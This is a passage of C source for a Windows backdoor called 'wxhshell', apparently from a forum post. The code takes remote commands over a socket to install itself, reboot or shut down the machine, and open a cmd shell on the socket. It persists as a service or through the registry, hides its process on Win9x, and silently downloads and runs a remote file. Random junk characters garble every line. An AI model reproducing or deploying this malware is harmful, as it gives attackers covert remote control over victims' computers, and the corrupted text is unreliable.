  if(DownloadFile(cmd,wsh)) RRro.r,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d6ifJ  
  else E B! ,t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] K+8f-  
  } Z{gDEo)  
  else { ]z2x`P^oI  
2&=CC4<!d  
    switch(cmd[0]) { %q.5; L  
  |[p]]) o  
  // 帮助 B`w8d[cL7  
  case '?': { a|DCpU}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t*fH&8(  
    break; 3EH@tlTl  
  } XjmAM/H4  
  // 安装 Nrq/Pkmy  
  case 'i': { A"0Yn(awWu  
    if(Install()) D~TlG@Pq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?}rA%so  
    else ,Xg^rV~]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (,|eE)+  
    break; Bc`L ]<  
    } b!`6s  
  // 卸载 YDZB$?&a  
  case 'r': { c[;A$P= 8.  
    if(Uninstall()) xiL+s-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Hgk$Im+  
    else /`t}5U>S_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0X$2~jV>  
    break; a/3yn9`sQ  
    } "yl6WG# J  
  // 显示 wxhshell 所在路径 >jnx2$  
  case 'p': { N8,g~?r^  
    char svExeFile[MAX_PATH]; "Z~@"JLb%  
    strcpy(svExeFile,"\n\r"); t3*.Bm:^  
      strcat(svExeFile,ExeFile); }2^qM^,0  
        send(wsh,svExeFile,strlen(svExeFile),0); QIdml*Np?H  
    break; %$bhg&}  
    } Ft}nG&D  
  // 重启 ,zdK%V}  
  case 'b': { @:@5BCs<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CYsLyk  
    if(Boot(REBOOT)) %s;5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpTc{  
    else { o5YL_=7m  
    closesocket(wsh); ||fCY+x*8  
    ExitThread(0); ?T,a(m<i {  
    } P)~olrf  
    break; sn Ou  
    } LMN`<R(q]  
  // 关机 YRv}w3yQ  
  case 'd': { Hn/V*RzQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zm_8{Rta}  
    if(Boot(SHUTDOWN)) [h>A<O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k^#*x2b  
    else { 4^9qs%&  
    closesocket(wsh); iG"1~/U  
    ExitThread(0); JdUI:(  
    } 9H53H"5q  
    break; VMS3Q)Ul  
    } a/rQ@c>  
  // 获取shell DcC|oU[  
  case 's': { ]ki) (Bb  
    CmdShell(wsh); dnM.  
    closesocket(wsh); uH7!)LE#  
    ExitThread(0); Ef3=" }AI;  
    break; hM&VMa[  
  } ? :A%$T  
  // 退出 1uEM;O  
  case 'x': { QtcYFf g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s!]QG  
    CloseIt(wsh); %`s1 Ocvp  
    break; $O fZp<M  
    } z~i>GN_  
  // 离开  .4Mc4'  
  case 'q': { + (`.pa z@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %WqUZ+yy  
    closesocket(wsh); HcV,r,>e  
    WSACleanup(); &o&}5Aba9  
    exit(1); .3wx}!:*|  
    break; .3SP# mI  
        } ! GtF%V  
  } 4tvZJS hV  
  } i&<@}:,  
] pv!Ll  
  // 提示信息 Q91mCP~$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IU"n`HS  
} QVmJ_WT  
  } 8hMy$  
'oM=ZU8wo  
  return; ,,g: x  
} 0Ca/[_  
DD6K[\  
// shell模块句柄 E{\T?dk1$  
int CmdShell(SOCKET sock) DweF8c  
{ V<U9Pj^?^  
STARTUPINFO si; q AsTiT6r  
ZeroMemory(&si,sizeof(si)); 1l^ `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SP vKq=,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O7J V{'?  
PROCESS_INFORMATION ProcessInfo; a4]=4[(iu>  
char cmdline[]="cmd"; 0}e&ONDQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r jnf30  
  return 0; )Q<u0AxAn  
} %wGQu;re  
"b"|ay  
// 自身启动模式 %+(fdk-k+  
int StartFromService(void) &O5&pet  
{ fAR 6  
typedef struct   [ L  
{ =A_{U(>  
  DWORD ExitStatus; 7p {2&YhB  
  DWORD PebBaseAddress; f J%A_N}  
  DWORD AffinityMask; VK|$SY(  
  DWORD BasePriority; LX(`@-<DH  
  ULONG UniqueProcessId; 20M]gw]  
  ULONG InheritedFromUniqueProcessId; cA{,2CYc  
}   PROCESS_BASIC_INFORMATION; \}gITc).j  
N0YJ'.=8,  
PROCNTQSIP NtQueryInformationProcess; awLSY:JI  
GwG(?_I"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L f;Uv[^c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lp+?5DjLT  
oP:OurX8V  
  HANDLE             hProcess; J$(79gH{  
  PROCESS_BASIC_INFORMATION pbi; +('=Ryo T  
J|8 u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JK'tdvs~  
  if(NULL == hInst ) return 0; [h.i,%Ua"P  
Zj)A%WTD,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kcP&''  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .|y{1?f_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /f>I;z1  
;v ~xL!uQ  
  if (!NtQueryInformationProcess) return 0; Fl\kt.G  
cdg &)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b\xse2#  
  if(!hProcess) return 0; b^<7@tY  
J& D0,cuk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j^Ln\N]^  
3IoN.  
  CloseHandle(hProcess); \~T&C5  
G%%5lw!y'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c}2"X,  
if(hProcess==NULL) return 0; u TmT'u:}  
`t7GYmw^#  
HMODULE hMod; |W SvAM3  
char procName[255]; FCChB7c`  
unsigned long cbNeeded; P_E xh]P  
F&OcI.OTXF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6h&i<->  
~tB9kLFG  
  CloseHandle(hProcess); `yM9XjEl>  
TEbE-h0)]  
if(strstr(procName,"services")) return 1; // 以服务启动 "@itn  
nwJc%0  
  return 0; // 注册表启动 ? Lr:>  
} l YjPrA]TC  
{HP.HK  
// 主模块 G+ NTn\  
int StartWxhshell(LPSTR lpCmdLine) 7K/t>QrBtU  
{ (2/i1)Cq  
  SOCKET wsl; ?9z1'6  
BOOL val=TRUE; aY %{?8PsB  
  int port=0; #o(@S{(NZ  
  struct sockaddr_in door; +F^X1  
mXUe/*r0T  
  if(wscfg.ws_autoins) Install(); l^v,X%{Iz  
lH>6;sE  
port=atoi(lpCmdLine); 9YwS"~Q =w  
=jvN8R*[  
if(port<=0) port=wscfg.ws_port; q94*2@KV  
2VkA!o4nP  
  WSADATA data; K$-|7tJon  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 22D,,nC0+=  
.U,>Qn4/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?xo<Fv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZIaFvm&q7Z  
  door.sin_family = AF_INET; ?M04 cvm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -raZ6?Zjc  
  door.sin_port = htons(port); zi,":KDz#  
V V Aw y6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?$4CgN-  
closesocket(wsl); \6,Z<.I  
return 1; ypY7uYO^"  
} %? z;'Y7D  
L$}'6y/@  
  if(listen(wsl,2) == INVALID_SOCKET) { HjX)5@"o(  
closesocket(wsl); * Vymb  
return 1; &- ZRS/_d>  
} C] |m|`  
  Wxhshell(wsl); $)7Af6xD  
  WSACleanup(); 2spK#0n.HV  
CfHPJ: Qo[  
return 0; 'h{DjNSM  
[.4D<}e  
} V(n3W=#kky  
N{fYO4O  
// 以NT服务方式启动 Y1 6pT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =L}$#Y8?  
{ OC2%9Igx0  
DWORD   status = 0; s9BdmD^|#  
  DWORD   specificError = 0xfffffff; _P{v=`]Eu  
f{#Mc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yx/qp<=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xd 9<`gu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #pX+~ {  
  serviceStatus.dwWin32ExitCode     = 0; 'Ie!%k^  
  serviceStatus.dwServiceSpecificExitCode = 0; - o sxKT:  
  serviceStatus.dwCheckPoint       = 0; .t{?doOT  
  serviceStatus.dwWaitHint       = 0; .n)0@X!  
T q5F'@e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q9 RCN<!  
  if (hServiceStatusHandle==0) return; c]:@y"W5$  
IeJ@G)  
status = GetLastError(); "C [uz&  
  if (status!=NO_ERROR) CV6W)B%Se  
{ >Y&o2zJy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Re'Ek  
    serviceStatus.dwCheckPoint       = 0; '>|5  
    serviceStatus.dwWaitHint       = 0; c# WIB 4  
    serviceStatus.dwWin32ExitCode     = status; O}"fhMk  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4(\7Or(''  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?[ vC?P  
    return; w3peG^4D_  
  } 2N_9S?a3sK  
|} K7Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `H\NJ,  
  serviceStatus.dwCheckPoint       = 0; \fD[Ej  
  serviceStatus.dwWaitHint       = 0; r#K"d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 58_aI?~>>  
} {,i='!WIm  
2v\-xg%1  
// 处理NT服务事件,比如:启动、停止 SQx:`{O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7j%sM&  
{ }@w Xm  
switch(fdwControl) DR#[\RzNI  
{ ? 8)$N  
case SERVICE_CONTROL_STOP: Dv+:d4|"  
  serviceStatus.dwWin32ExitCode = 0; `z3"zso  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z50f$!?  
  serviceStatus.dwCheckPoint   = 0; *g/@-6  
  serviceStatus.dwWaitHint     = 0; 2E}^'o  
  { VEg/x z4c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @5(HRd  
  } `pd1'5Hm  
  return; ;V3d"@R,  
case SERVICE_CONTROL_PAUSE: YiPp#0T[Gx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J*O$)K%Hx  
  break; 1Du9N[2'P  
case SERVICE_CONTROL_CONTINUE: b1qli5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jRIm_)  
  break; >@U lhJtW  
case SERVICE_CONTROL_INTERROGATE: 4WV)&50  
  break; ) XHcrm&  
}; _i{4 4zE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <0I=XsE1iX  
} t ~"DQq E  
]6{\`a  
// 标准应用程序主函数 E.~~.2   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ a,XL<9I  
{ >~^##bIb  
W4(O2RU  
// 获取操作系统版本 [u2)kH$  
OsIsNt=GetOsVer(); 6 _\j_$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ihdtq  
3$ 1 z  
  // 从命令行安装 '$n#~/#}  
  if(strpbrk(lpCmdLine,"iI")) Install(); > jDx-H.N  
CDM==Xa*  
  // 下载执行文件 T3 k#6N.  
if(wscfg.ws_downexe) { mF !=H%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C\dlQQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); F /:2+  
} >#\&%0OZw  
TID0x/j"K5  
if(!OsIsNt) { 3 eFBe2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;i><03  
HideProc(); 3M&75OE  
StartWxhshell(lpCmdLine); L&nGjC+Lr  
} 2=l !b/m  
else oxPb; %  
  if(StartFromService()) RycO8z*p  
  // 以服务方式启动 8;s$?*G i  
  StartServiceCtrlDispatcher(DispatchTable); XOy#? X/`  
else 4hv'OEl  
  // 普通方式启动 ]& q mV  
  StartWxhshell(lpCmdLine); M^^u{);q  
cIgicp}U  
return 0; $wn "+wX  
}
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只看该作者 1 发表于: 2006-10-10
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